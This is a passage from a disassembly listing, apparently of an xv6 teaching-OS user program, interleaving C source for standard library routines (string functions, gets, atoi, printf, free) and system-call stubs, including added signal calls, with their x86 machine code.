4ec: c7 44 24 04 88 0d 00 movl $0xd88,0x4(%esp)
4f3: 00
4f4: c7 04 24 02 00 00 00 movl $0x2,(%esp)
4fb: e8 0d 04 00 00 call 90d <printf>
exit();
500: e8 68 02 00 00 call 76d <exit>
00000505 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
505: 55 push %ebp
506: 89 e5 mov %esp,%ebp
508: 57 push %edi
509: 53 push %ebx
asm volatile("cld; rep stosb" :
50a: 8b 4d 08 mov 0x8(%ebp),%ecx
50d: 8b 55 10 mov 0x10(%ebp),%edx
510: 8b 45 0c mov 0xc(%ebp),%eax
513: 89 cb mov %ecx,%ebx
515: 89 df mov %ebx,%edi
517: 89 d1 mov %edx,%ecx
519: fc cld
51a: f3 aa rep stos %al,%es:(%edi)
51c: 89 ca mov %ecx,%edx
51e: 89 fb mov %edi,%ebx
520: 89 5d 08 mov %ebx,0x8(%ebp)
523: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
526: 5b pop %ebx
527: 5f pop %edi
528: 5d pop %ebp
529: c3 ret
0000052a <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
52a: 55 push %ebp
52b: 89 e5 mov %esp,%ebp
52d: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
530: 8b 45 08 mov 0x8(%ebp),%eax
533: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
536: 90 nop
537: 8b 45 08 mov 0x8(%ebp),%eax
53a: 8d 50 01 lea 0x1(%eax),%edx
53d: 89 55 08 mov %edx,0x8(%ebp)
540: 8b 55 0c mov 0xc(%ebp),%edx
543: 8d 4a 01 lea 0x1(%edx),%ecx
546: 89 4d 0c mov %ecx,0xc(%ebp)
549: 0f b6 12 movzbl (%edx),%edx
54c: 88 10 mov %dl,(%eax)
54e: 0f b6 00 movzbl (%eax),%eax
551: 84 c0 test %al,%al
553: 75 e2 jne 537 <strcpy+0xd>
;
return os;
555: 8b 45 fc mov -0x4(%ebp),%eax
}
558: c9 leave
559: c3 ret
0000055a <strcmp>:
int
strcmp(const char *p, const char *q)
{
55a: 55 push %ebp
55b: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
55d: eb 08 jmp 567 <strcmp+0xd>
p++, q++;
55f: 83 45 08 01 addl $0x1,0x8(%ebp)
563: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
567: 8b 45 08 mov 0x8(%ebp),%eax
56a: 0f b6 00 movzbl (%eax),%eax
56d: 84 c0 test %al,%al
56f: 74 10 je 581 <strcmp+0x27>
571: 8b 45 08 mov 0x8(%ebp),%eax
574: 0f b6 10 movzbl (%eax),%edx
577: 8b 45 0c mov 0xc(%ebp),%eax
57a: 0f b6 00 movzbl (%eax),%eax
57d: 38 c2 cmp %al,%dl
57f: 74 de je 55f <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
581: 8b 45 08 mov 0x8(%ebp),%eax
584: 0f b6 00 movzbl (%eax),%eax
587: 0f b6 d0 movzbl %al,%edx
58a: 8b 45 0c mov 0xc(%ebp),%eax
58d: 0f b6 00 movzbl (%eax),%eax
590: 0f b6 c0 movzbl %al,%eax
593: 29 c2 sub %eax,%edx
595: 89 d0 mov %edx,%eax
}
597: 5d pop %ebp
598: c3 ret
00000599 <strlen>:
uint
strlen(char *s)
{
599: 55 push %ebp
59a: 89 e5 mov %esp,%ebp
59c: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
59f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
5a6: eb 04 jmp 5ac <strlen+0x13>
5a8: 83 45 fc 01 addl $0x1,-0x4(%ebp)
5ac: 8b 55 fc mov -0x4(%ebp),%edx
5af: 8b 45 08 mov 0x8(%ebp),%eax
5b2: 01 d0 add %edx,%eax
5b4: 0f b6 00 movzbl (%eax),%eax
5b7: 84 c0 test %al,%al
5b9: 75 ed jne 5a8 <strlen+0xf>
;
return n;
5bb: 8b 45 fc mov -0x4(%ebp),%eax
}
5be: c9 leave
5bf: c3 ret
000005c0 <memset>:
void*
memset(void *dst, int c, uint n)
{
5c0: 55 push %ebp
5c1: 89 e5 mov %esp,%ebp
5c3: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
5c6: 8b 45 10 mov 0x10(%ebp),%eax
5c9: 89 44 24 08 mov %eax,0x8(%esp)
5cd: 8b 45 0c mov 0xc(%ebp),%eax
5d0: 89 44 24 04 mov %eax,0x4(%esp)
5d4: 8b 45 08 mov 0x8(%ebp),%eax
5d7: 89 04 24 mov %eax,(%esp)
5da: e8 26 ff ff ff call 505 <stosb>
return dst;
5df: 8b 45 08 mov 0x8(%ebp),%eax
}
5e2: c9 leave
5e3: c3 ret
000005e4 <strchr>:
char*
strchr(const char *s, char c)
{
5e4: 55 push %ebp
5e5: 89 e5 mov %esp,%ebp
5e7: 83 ec 04 sub $0x4,%esp
5ea: 8b 45 0c mov 0xc(%ebp),%eax
5ed: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
5f0: eb 14 jmp 606 <strchr+0x22>
if(*s == c)
5f2: 8b 45 08 mov 0x8(%ebp),%eax
5f5: 0f b6 00 movzbl (%eax),%eax
5f8: 3a 45 fc cmp -0x4(%ebp),%al
5fb: 75 05 jne 602 <strchr+0x1e>
return (char*)s;
5fd: 8b 45 08 mov 0x8(%ebp),%eax
600: eb 13 jmp 615 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
602: 83 45 08 01 addl $0x1,0x8(%ebp)
606: 8b 45 08 mov 0x8(%ebp),%eax
609: 0f b6 00 movzbl (%eax),%eax
60c: 84 c0 test %al,%al
60e: 75 e2 jne 5f2 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
610: b8 00 00 00 00 mov $0x0,%eax
}
615: c9 leave
616: c3 ret
00000617 <gets>:
char*
gets(char *buf, int max)
{
617: 55 push %ebp
618: 89 e5 mov %esp,%ebp
61a: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
61d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
624: eb 4c jmp 672 <gets+0x5b>
cc = read(0, &c, 1);
626: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
62d: 00
62e: 8d 45 ef lea -0x11(%ebp),%eax
631: 89 44 24 04 mov %eax,0x4(%esp)
635: c7 04 24 00 00 00 00 movl $0x0,(%esp)
63c: e8 44 01 00 00 call 785 <read>
641: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
644: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
648: 7f 02 jg 64c <gets+0x35>
break;
64a: eb 31 jmp 67d <gets+0x66>
buf[i++] = c;
64c: 8b 45 f4 mov -0xc(%ebp),%eax
64f: 8d 50 01 lea 0x1(%eax),%edx
652: 89 55 f4 mov %edx,-0xc(%ebp)
655: 89 c2 mov %eax,%edx
657: 8b 45 08 mov 0x8(%ebp),%eax
65a: 01 c2 add %eax,%edx
65c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
660: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
662: 0f b6 45 ef movzbl -0x11(%ebp),%eax
666: 3c 0a cmp $0xa,%al
668: 74 13 je 67d <gets+0x66>
66a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
66e: 3c 0d cmp $0xd,%al
670: 74 0b je 67d <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
672: 8b 45 f4 mov -0xc(%ebp),%eax
675: 83 c0 01 add $0x1,%eax
678: 3b 45 0c cmp 0xc(%ebp),%eax
67b: 7c a9 jl 626 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
67d: 8b 55 f4 mov -0xc(%ebp),%edx
680: 8b 45 08 mov 0x8(%ebp),%eax
683: 01 d0 add %edx,%eax
685: c6 00 00 movb $0x0,(%eax)
return buf;
688: 8b 45 08 mov 0x8(%ebp),%eax
}
68b: c9 leave
68c: c3 ret
0000068d <stat>:
int
stat(char *n, struct stat *st)
{
68d: 55 push %ebp
68e: 89 e5 mov %esp,%ebp
690: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
693: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
69a: 00
69b: 8b 45 08 mov 0x8(%ebp),%eax
69e: 89 04 24 mov %eax,(%esp)
6a1: e8 07 01 00 00 call 7ad <open>
6a6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
6a9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6ad: 79 07 jns 6b6 <stat+0x29>
return -1;
6af: b8 ff ff ff ff mov $0xffffffff,%eax
6b4: eb 23 jmp 6d9 <stat+0x4c>
r = fstat(fd, st);
6b6: 8b 45 0c mov 0xc(%ebp),%eax
6b9: 89 44 24 04 mov %eax,0x4(%esp)
6bd: 8b 45 f4 mov -0xc(%ebp),%eax
6c0: 89 04 24 mov %eax,(%esp)
6c3: e8 fd 00 00 00 call 7c5 <fstat>
6c8: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
6cb: 8b 45 f4 mov -0xc(%ebp),%eax
6ce: 89 04 24 mov %eax,(%esp)
6d1: e8 bf 00 00 00 call 795 <close>
return r;
6d6: 8b 45 f0 mov -0x10(%ebp),%eax
}
6d9: c9 leave
6da: c3 ret
000006db <atoi>:
int
atoi(const char *s)
{
6db: 55 push %ebp
6dc: 89 e5 mov %esp,%ebp
6de: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
6e1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
6e8: eb 25 jmp 70f <atoi+0x34>
n = n*10 + *s++ - '0';
6ea: 8b 55 fc mov -0x4(%ebp),%edx
6ed: 89 d0 mov %edx,%eax
6ef: c1 e0 02 shl $0x2,%eax
6f2: 01 d0 add %edx,%eax
6f4: 01 c0 add %eax,%eax
6f6: 89 c1 mov %eax,%ecx
6f8: 8b 45 08 mov 0x8(%ebp),%eax
6fb: 8d 50 01 lea 0x1(%eax),%edx
6fe: 89 55 08 mov %edx,0x8(%ebp)
701: 0f b6 00 movzbl (%eax),%eax
704: 0f be c0 movsbl %al,%eax
707: 01 c8 add %ecx,%eax
709: 83 e8 30 sub $0x30,%eax
70c: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
70f: 8b 45 08 mov 0x8(%ebp),%eax
712: 0f b6 00 movzbl (%eax),%eax
715: 3c 2f cmp $0x2f,%al
717: 7e 0a jle 723 <atoi+0x48>
719: 8b 45 08 mov 0x8(%ebp),%eax
71c: 0f b6 00 movzbl (%eax),%eax
71f: 3c 39 cmp $0x39,%al
721: 7e c7 jle 6ea <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
723: 8b 45 fc mov -0x4(%ebp),%eax
}
726: c9 leave
727: c3 ret
00000728 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
728: 55 push %ebp
729: 89 e5 mov %esp,%ebp
72b: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
72e: 8b 45 08 mov 0x8(%ebp),%eax
731: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
734: 8b 45 0c mov 0xc(%ebp),%eax
737: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
73a: eb 17 jmp 753 <memmove+0x2b>
*dst++ = *src++;
73c: 8b 45 fc mov -0x4(%ebp),%eax
73f: 8d 50 01 lea 0x1(%eax),%edx
742: 89 55 fc mov %edx,-0x4(%ebp)
745: 8b 55 f8 mov -0x8(%ebp),%edx
748: 8d 4a 01 lea 0x1(%edx),%ecx
74b: 89 4d f8 mov %ecx,-0x8(%ebp)
74e: 0f b6 12 movzbl (%edx),%edx
751: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
753: 8b 45 10 mov 0x10(%ebp),%eax
756: 8d 50 ff lea -0x1(%eax),%edx
759: 89 55 10 mov %edx,0x10(%ebp)
75c: 85 c0 test %eax,%eax
75e: 7f dc jg 73c <memmove+0x14>
*dst++ = *src++;
return vdst;
760: 8b 45 08 mov 0x8(%ebp),%eax
}
763: c9 leave
764: c3 ret
00000765 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
765: b8 01 00 00 00 mov $0x1,%eax
76a: cd 40 int $0x40
76c: c3 ret
0000076d <exit>:
SYSCALL(exit)
76d: b8 02 00 00 00 mov $0x2,%eax
772: cd 40 int $0x40
774: c3 ret
00000775 <wait>:
SYSCALL(wait)
775: b8 03 00 00 00 mov $0x3,%eax
77a: cd 40 int $0x40
77c: c3 ret
0000077d <pipe>:
SYSCALL(pipe)
77d: b8 04 00 00 00 mov $0x4,%eax
782: cd 40 int $0x40
784: c3 ret
00000785 <read>:
SYSCALL(read)
785: b8 05 00 00 00 mov $0x5,%eax
78a: cd 40 int $0x40
78c: c3 ret
0000078d <write>:
SYSCALL(write)
78d: b8 10 00 00 00 mov $0x10,%eax
792: cd 40 int $0x40
794: c3 ret
00000795 <close>:
SYSCALL(close)
795: b8 15 00 00 00 mov $0x15,%eax
79a: cd 40 int $0x40
79c: c3 ret
0000079d <kill>:
SYSCALL(kill)
79d: b8 06 00 00 00 mov $0x6,%eax
7a2: cd 40 int $0x40
7a4: c3 ret
000007a5 <exec>:
SYSCALL(exec)
7a5: b8 07 00 00 00 mov $0x7,%eax
7aa: cd 40 int $0x40
7ac: c3 ret
000007ad <open>:
SYSCALL(open)
7ad: b8 0f 00 00 00 mov $0xf,%eax
7b2: cd 40 int $0x40
7b4: c3 ret
000007b5 <mknod>:
SYSCALL(mknod)
7b5: b8 11 00 00 00 mov $0x11,%eax
7ba: cd 40 int $0x40
7bc: c3 ret
000007bd <unlink>:
SYSCALL(unlink)
7bd: b8 12 00 00 00 mov $0x12,%eax
7c2: cd 40 int $0x40
7c4: c3 ret
000007c5 <fstat>:
SYSCALL(fstat)
7c5: b8 08 00 00 00 mov $0x8,%eax
7ca: cd 40 int $0x40
7cc: c3 ret
000007cd <link>:
SYSCALL(link)
7cd: b8 13 00 00 00 mov $0x13,%eax
7d2: cd 40 int $0x40
7d4: c3 ret
000007d5 <mkdir>:
SYSCALL(mkdir)
7d5: b8 14 00 00 00 mov $0x14,%eax
7da: cd 40 int $0x40
7dc: c3 ret
000007dd <chdir>:
SYSCALL(chdir)
7dd: b8 09 00 00 00 mov $0x9,%eax
7e2: cd 40 int $0x40
7e4: c3 ret
000007e5 <dup>:
SYSCALL(dup)
7e5: b8 0a 00 00 00 mov $0xa,%eax
7ea: cd 40 int $0x40
7ec: c3 ret
000007ed <getpid>:
SYSCALL(getpid)
7ed: b8 0b 00 00 00 mov $0xb,%eax
7f2: cd 40 int $0x40
7f4: c3 ret
000007f5 <sbrk>:
SYSCALL(sbrk)
7f5: b8 0c 00 00 00 mov $0xc,%eax
7fa: cd 40 int $0x40
7fc: c3 ret
000007fd <sleep>:
SYSCALL(sleep)
7fd: b8 0d 00 00 00 mov $0xd,%eax
802: cd 40 int $0x40
804: c3 ret
00000805 <uptime>:
SYSCALL(uptime)
805: b8 0e 00 00 00 mov $0xe,%eax
80a: cd 40 int $0x40
80c: c3 ret
0000080d <sigset>:
SYSCALL(sigset)
80d: b8 16 00 00 00 mov $0x16,%eax
812: cd 40 int $0x40
814: c3 ret
00000815 <sigsend>:
SYSCALL(sigsend)
815: b8 17 00 00 00 mov $0x17,%eax
81a: cd 40 int $0x40
81c: c3 ret
0000081d <sigret>:
SYSCALL(sigret)
81d: b8 18 00 00 00 mov $0x18,%eax
822: cd 40 int $0x40
824: c3 ret
00000825 <sigpause>:
825: b8 19 00 00 00 mov $0x19,%eax
82a: cd 40 int $0x40
82c: c3 ret
0000082d <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
82d: 55 push %ebp
82e: 89 e5 mov %esp,%ebp
830: 83 ec 18 sub $0x18,%esp
833: 8b 45 0c mov 0xc(%ebp),%eax
836: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
839: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
840: 00
841: 8d 45 f4 lea -0xc(%ebp),%eax
844: 89 44 24 04 mov %eax,0x4(%esp)
848: 8b 45 08 mov 0x8(%ebp),%eax
84b: 89 04 24 mov %eax,(%esp)
84e: e8 3a ff ff ff call 78d <write>
}
853: c9 leave
854: c3 ret
00000855 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
855: 55 push %ebp
856: 89 e5 mov %esp,%ebp
858: 56 push %esi
859: 53 push %ebx
85a: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
85d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
864: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
868: 74 17 je 881 <printint+0x2c>
86a: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
86e: 79 11 jns 881 <printint+0x2c>
neg = 1;
870: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
877: 8b 45 0c mov 0xc(%ebp),%eax
87a: f7 d8 neg %eax
87c: 89 45 ec mov %eax,-0x14(%ebp)
87f: eb 06 jmp 887 <printint+0x32>
} else {
x = xx;
881: 8b 45 0c mov 0xc(%ebp),%eax
884: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
887: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
88e: 8b 4d f4 mov -0xc(%ebp),%ecx
891: 8d 41 01 lea 0x1(%ecx),%eax
894: 89 45 f4 mov %eax,-0xc(%ebp)
897: 8b 5d 10 mov 0x10(%ebp),%ebx
89a: 8b 45 ec mov -0x14(%ebp),%eax
89d: ba 00 00 00 00 mov $0x0,%edx
8a2: f7 f3 div %ebx
8a4: 89 d0 mov %edx,%eax
8a6: 0f b6 80 64 10 00 00 movzbl 0x1064(%eax),%eax
8ad: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
8b1: 8b 75 10 mov 0x10(%ebp),%esi
8b4: 8b 45 ec mov -0x14(%ebp),%eax
8b7: ba 00 00 00 00 mov $0x0,%edx
8bc: f7 f6 div %esi
8be: 89 45 ec mov %eax,-0x14(%ebp)
8c1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8c5: 75 c7 jne 88e <printint+0x39>
if(neg)
8c7: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8cb: 74 10 je 8dd <printint+0x88>
buf[i++] = '-';
8cd: 8b 45 f4 mov -0xc(%ebp),%eax
8d0: 8d 50 01 lea 0x1(%eax),%edx
8d3: 89 55 f4 mov %edx,-0xc(%ebp)
8d6: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
8db: eb 1f jmp 8fc <printint+0xa7>
8dd: eb 1d jmp 8fc <printint+0xa7>
putc(fd, buf[i]);
8df: 8d 55 dc lea -0x24(%ebp),%edx
8e2: 8b 45 f4 mov -0xc(%ebp),%eax
8e5: 01 d0 add %edx,%eax
8e7: 0f b6 00 movzbl (%eax),%eax
8ea: 0f be c0 movsbl %al,%eax
8ed: 89 44 24 04 mov %eax,0x4(%esp)
8f1: 8b 45 08 mov 0x8(%ebp),%eax
8f4: 89 04 24 mov %eax,(%esp)
8f7: e8 31 ff ff ff call 82d <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
8fc: 83 6d f4 01 subl $0x1,-0xc(%ebp)
900: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
904: 79 d9 jns 8df <printint+0x8a>
putc(fd, buf[i]);
}
906: 83 c4 30 add $0x30,%esp
909: 5b pop %ebx
90a: 5e pop %esi
90b: 5d pop %ebp
90c: c3 ret
0000090d <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
90d: 55 push %ebp
90e: 89 e5 mov %esp,%ebp
910: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
913: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
91a: 8d 45 0c lea 0xc(%ebp),%eax
91d: 83 c0 04 add $0x4,%eax
920: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
923: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
92a: e9 7c 01 00 00 jmp aab <printf+0x19e>
c = fmt[i] & 0xff;
92f: 8b 55 0c mov 0xc(%ebp),%edx
932: 8b 45 f0 mov -0x10(%ebp),%eax
935: 01 d0 add %edx,%eax
937: 0f b6 00 movzbl (%eax),%eax
93a: 0f be c0 movsbl %al,%eax
93d: 25 ff 00 00 00 and $0xff,%eax
942: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
945: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
949: 75 2c jne 977 <printf+0x6a>
if(c == '%'){
94b: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
94f: 75 0c jne 95d <printf+0x50>
state = '%';
951: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
958: e9 4a 01 00 00 jmp aa7 <printf+0x19a>
} else {
putc(fd, c);
95d: 8b 45 e4 mov -0x1c(%ebp),%eax
960: 0f be c0 movsbl %al,%eax
963: 89 44 24 04 mov %eax,0x4(%esp)
967: 8b 45 08 mov 0x8(%ebp),%eax
96a: 89 04 24 mov %eax,(%esp)
96d: e8 bb fe ff ff call 82d <putc>
972: e9 30 01 00 00 jmp aa7 <printf+0x19a>
}
} else if(state == '%'){
977: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
97b: 0f 85 26 01 00 00 jne aa7 <printf+0x19a>
if(c == 'd'){
981: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
985: 75 2d jne 9b4 <printf+0xa7>
printint(fd, *ap, 10, 1);
987: 8b 45 e8 mov -0x18(%ebp),%eax
98a: 8b 00 mov (%eax),%eax
98c: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
993: 00
994: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
99b: 00
99c: 89 44 24 04 mov %eax,0x4(%esp)
9a0: 8b 45 08 mov 0x8(%ebp),%eax
9a3: 89 04 24 mov %eax,(%esp)
9a6: e8 aa fe ff ff call 855 <printint>
ap++;
9ab: 83 45 e8 04 addl $0x4,-0x18(%ebp)
9af: e9 ec 00 00 00 jmp aa0 <printf+0x193>
} else if(c == 'x' || c == 'p'){
9b4: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
9b8: 74 06 je 9c0 <printf+0xb3>
9ba: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
9be: 75 2d jne 9ed <printf+0xe0>
printint(fd, *ap, 16, 0);
9c0: 8b 45 e8 mov -0x18(%ebp),%eax
9c3: 8b 00 mov (%eax),%eax
9c5: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
9cc: 00
9cd: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
9d4: 00
9d5: 89 44 24 04 mov %eax,0x4(%esp)
9d9: 8b 45 08 mov 0x8(%ebp),%eax
9dc: 89 04 24 mov %eax,(%esp)
9df: e8 71 fe ff ff call 855 <printint>
ap++;
9e4: 83 45 e8 04 addl $0x4,-0x18(%ebp)
9e8: e9 b3 00 00 00 jmp aa0 <printf+0x193>
} else if(c == 's'){
9ed: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
9f1: 75 45 jne a38 <printf+0x12b>
s = (char*)*ap;
9f3: 8b 45 e8 mov -0x18(%ebp),%eax
9f6: 8b 00 mov (%eax),%eax
9f8: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
9fb: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
9ff: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
a03: 75 09 jne a0e <printf+0x101>
s = "(null)";
a05: c7 45 f4 96 0d 00 00 movl $0xd96,-0xc(%ebp)
while(*s != 0){
a0c: eb 1e jmp a2c <printf+0x11f>
a0e: eb 1c jmp a2c <printf+0x11f>
putc(fd, *s);
a10: 8b 45 f4 mov -0xc(%ebp),%eax
a13: 0f b6 00 movzbl (%eax),%eax
a16: 0f be c0 movsbl %al,%eax
a19: 89 44 24 04 mov %eax,0x4(%esp)
a1d: 8b 45 08 mov 0x8(%ebp),%eax
a20: 89 04 24 mov %eax,(%esp)
a23: e8 05 fe ff ff call 82d <putc>
s++;
a28: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
a2c: 8b 45 f4 mov -0xc(%ebp),%eax
a2f: 0f b6 00 movzbl (%eax),%eax
a32: 84 c0 test %al,%al
a34: 75 da jne a10 <printf+0x103>
a36: eb 68 jmp aa0 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
a38: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
a3c: 75 1d jne a5b <printf+0x14e>
putc(fd, *ap);
a3e: 8b 45 e8 mov -0x18(%ebp),%eax
a41: 8b 00 mov (%eax),%eax
a43: 0f be c0 movsbl %al,%eax
a46: 89 44 24 04 mov %eax,0x4(%esp)
a4a: 8b 45 08 mov 0x8(%ebp),%eax
a4d: 89 04 24 mov %eax,(%esp)
a50: e8 d8 fd ff ff call 82d <putc>
ap++;
a55: 83 45 e8 04 addl $0x4,-0x18(%ebp)
a59: eb 45 jmp aa0 <printf+0x193>
} else if(c == '%'){
a5b: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
a5f: 75 17 jne a78 <printf+0x16b>
putc(fd, c);
a61: 8b 45 e4 mov -0x1c(%ebp),%eax
a64: 0f be c0 movsbl %al,%eax
a67: 89 44 24 04 mov %eax,0x4(%esp)
a6b: 8b 45 08 mov 0x8(%ebp),%eax
a6e: 89 04 24 mov %eax,(%esp)
a71: e8 b7 fd ff ff call 82d <putc>
a76: eb 28 jmp aa0 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
a78: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
a7f: 00
a80: 8b 45 08 mov 0x8(%ebp),%eax
a83: 89 04 24 mov %eax,(%esp)
a86: e8 a2 fd ff ff call 82d <putc>
putc(fd, c);
a8b: 8b 45 e4 mov -0x1c(%ebp),%eax
a8e: 0f be c0 movsbl %al,%eax
a91: 89 44 24 04 mov %eax,0x4(%esp)
a95: 8b 45 08 mov 0x8(%ebp),%eax
a98: 89 04 24 mov %eax,(%esp)
a9b: e8 8d fd ff ff call 82d <putc>
}
state = 0;
aa0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
aa7: 83 45 f0 01 addl $0x1,-0x10(%ebp)
aab: 8b 55 0c mov 0xc(%ebp),%edx
aae: 8b 45 f0 mov -0x10(%ebp),%eax
ab1: 01 d0 add %edx,%eax
ab3: 0f b6 00 movzbl (%eax),%eax
ab6: 84 c0 test %al,%al
ab8: 0f 85 71 fe ff ff jne 92f <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
abe: c9 leave
abf: c3 ret
00000ac0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
ac0: 55 push %ebp
ac1: 89 e5 mov %esp,%ebp
ac3: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
ac6: 8b 45 08 mov 0x8(%ebp),%eax
ac9: 83 e8 08 sub $0x8,%eax
acc: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
acf: a1 88 10 00 00 mov 0x1088,%eax
ad4: 89 45 fc mov %eax,-0x4(%ebp)
ad7: eb 24 jmp afd <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
ad9: 8b 45 fc mov -0x4(%ebp),%eax
adc: 8b 00 mov (%eax),%eax
ade: 3b 45 fc cmp -0x4(%ebp),%eax
ae1: 77 12 ja af5 <free+0x35>
ae3: 8b 45 f8 mov -0x8(%ebp),%eax
ae6: 3b 45 fc cmp -0x4(%ebp),%eax
ae9: 77 24 ja b0f <free+0x4f>
aeb: 8b 45 fc mov -0x4(%ebp),%eax
aee: 8b 00 mov (%eax),%eax
af0: 3b 45 f8 cmp -0x8(%ebp),%eax
af3: 77 1a ja b0f <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
af5: 8b 45 fc mov -0x4(%ebp),%eax
af8: 8b 00 mov (%eax),%eax
afa: 89 45 fc mov %eax,-0x4(%ebp)
afd: 8b 45 f8 mov -0x8(%ebp),%eax
b00: 3b 45 fc cmp -0x4(%ebp),%eax
b03: 76 d4 jbe ad9 <free+0x19>
b05: 8b 45 fc mov -0x4(%ebp),%eax
b08: 8b 00 mov (%eax),%eax
b0a: 3b 45 f8 cmp -0x8(%ebp),%eax
